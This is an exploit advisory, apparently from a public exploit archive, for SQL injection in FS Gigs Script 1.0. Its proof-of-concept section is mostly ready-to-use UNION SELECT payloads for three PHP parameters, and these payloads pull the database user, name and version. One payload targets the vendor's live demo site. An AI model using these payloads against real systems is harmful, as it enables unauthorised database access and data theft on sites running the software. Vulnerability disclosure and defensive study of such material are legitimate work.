FS Gigs Script 1.0 SQL Injection

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# Exploit Title: FS Gigs Script 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunesc # # # # #
# Exploit Title: FS Gigs Script 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/gigs-script/
# Demo: http://gigs.demonstration.co.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/browse-category.php?cat=[SQL]
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# -83c4ca4238a0b923820dcc509a6f75849b'++/*!50000UNION*/+/*!50000SELECT*/+1,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3,4,5--+-
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# http://server/browse-category.php?cat=-83c4ca4238a0b923820dcc509a6f75849b'++/*!50000UNION*/+/*!50000SELECT*/+1,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3,4,5--+-
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# 2)
# http://localhost/[PATH]/browse-scategory.php?sc=[SQL]
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# -53c81e728d9d4c2f636f067f89cc14862c'++UNION(SELECT(1),(2),(3),(4),(5),(6),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(8),(9),(10))--+-
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# http://server/browse-scategory.php?sc=-53c81e728d9d4c2f636f067f89cc14862c'++UNION(SELECT(1),(2),(3),(4),(5),(6),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(8),(9),(10))--+-
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# 3)
# http://localhost/[PATH]/service-provider.php?ser=[SQL]
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# -1873'+UNION(SELECT(1),(2),(3),(4),(5),(6),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42),(43),(44),(45),(46),(47),(48),(49),(50),(51),(52))--+-
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# http://gigs.demonstration.co.in/service-provider.php?ser=-1873'+UNION(SELECT(1),(2),(3),(4),(5),(6),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42),(43),(44),(45),(46),(47),(48),(49),(50),(51),(52))--+-
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